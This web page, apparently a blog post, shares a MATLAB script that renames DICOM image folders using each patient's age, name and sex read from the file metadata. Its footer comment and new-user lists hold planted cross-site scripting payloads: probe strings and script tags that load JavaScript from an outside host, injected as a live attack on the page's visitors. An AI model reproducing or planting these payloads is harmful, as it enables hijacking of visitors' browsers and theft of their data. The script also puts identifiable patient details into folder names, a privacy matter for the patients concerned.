Rename DICOM folder using DICOM info


Set input and output dir, then run. The program will search each folder in input dir, read DICOM info from first image of each stack and set age, name and gender as output folder name.

maindir = 'E:\C-Tsinghua\dataF\201607211307';
Destdir='E:\C-Tsinghua\dataF';
subdir  = dir( maindir );
for i = 1 : length( subdir )
    if( isequal( subdir( i ).name, '.' )||...
        isequal( subdir( i ).name, '..')||...
        ~subdir( i ).isdir)               
        continue;
    end
    subdirpath= fullfile( maindir, subdir( i ).name);
    subdir2=dir( subdirpath );
    
    subdir2path = fullfile( maindir, subdir( i ).name,subdir2(3).name,'*.dcm' );
    dat = dir( subdir2path ) ;             
    filename = fullfile( maindir, subdir( i ).name, subdir2(3).name,dat(3).name);
    metadata=dicominfo(filename);
    patientname=metadata.PatientName.FamilyName;
    sepind=find(patientname(:)==' ');
    sepend=size(patientname,2);
    if size(sepind,2)>1
        sepend=sepind(2);
        sepind=sepind(1);
    end
    patientnamen=[patientname(1) lower(patientname(2:sepind-1)) patientname(sepind+1) lower(patientname(sepind+2:sepend))];
    patientsex=metadata.PatientSex;
    patientage=str2num(metadata.ContentDate(1:4))-str2num(metadata.PatientBirthDate(1:4));
    newfoldername=[mat2str(patientage), '_', patientnamen, '_' , patientsex];
    movfrom=fullfile( maindir, subdir( i ).name,subdir2(3).name);
    movto=fullfile(Destdir,newfoldername);
    movefile(movfrom,movto);
end



Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39